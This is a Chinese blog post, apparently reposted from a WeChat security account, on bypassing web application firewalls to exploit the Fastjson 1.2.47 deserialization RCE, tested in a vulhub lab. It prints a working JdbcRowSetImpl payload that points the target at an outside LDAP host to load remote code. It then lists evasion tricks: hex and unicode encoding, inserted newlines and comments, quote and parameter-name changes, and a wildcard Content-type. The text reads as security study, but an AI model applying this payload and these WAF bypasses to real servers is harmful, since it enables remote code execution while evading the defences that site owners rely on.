由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
前言
最近面试碰到了一些绕waf相关的问题,比如fastjson怎么绕waf,这种问题不禁让我手足无措,因为平时很少碰到fastjson漏洞,对这类waf绕过方式了解不是很多,只回答了unicode编码进行绕过。既然不会那就学习一下吧,通过网上一些文章的参考和自己的摸索,也是有了总结了一些绕过的技巧,所以写下这篇文章和大家一起分享学习一下。
bypass waf 技巧
一、编码绕过
本次实验通过vulhub本地搭建fastjson1.2.47rce漏洞环境如下:
payload为:
{"v47":
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@
type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","au
toCommit":true}}
测试发现dnslog.cn不太好用,所以直接用xray的反连平台进行测试。用原始的payload进行测试,成功在反连平台获取到记录如下:
使用hex编码对关键字进行处理,测试发现只能对上面部分进行hex编码如下:
下面部分如果进行hex编码就会利用不成功,如下
下面这部分可以使用unicode编码进行处理,如下
二、混淆绕过
回车
经过测试,上面的部分实际上是不需要的,可以通过回车对上面部分hex编码后的payload进行混淆
注意上半部分如果是unicode编码处理后的,回车使用要在前,否则会利用不成功
注释符/**/
添加注释不影响payload执行,如下
单引号替换双引号
参数使用-和_
可以使用-和_对参数进行处理,如下:
参数前添加is
测试发现autoCommit参数前添加is不影响payload利用,dataSourceName不行,如下:
三、修改Content-type进行绕过
将Content-type: application/json 修改成通配符Content-type: */*;charset=UTF-8来绕过从而绕过waf的检测
注意要添加charset=UTF-8,否则利用不成功
绕过技巧大概就这些啦!希望对大家有所帮助吧!
参考文章:
https://mp.weixin.qq.com/s/dorNIFq2PgdMSnXPayQzuw
学习交流群
往期推荐
Nuclei Fuzzer 实战指南:自动化 Web 应用安全测试的优化与实践
原文始发于微信公众号(随风安全):fastjson绕过waf的一些技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论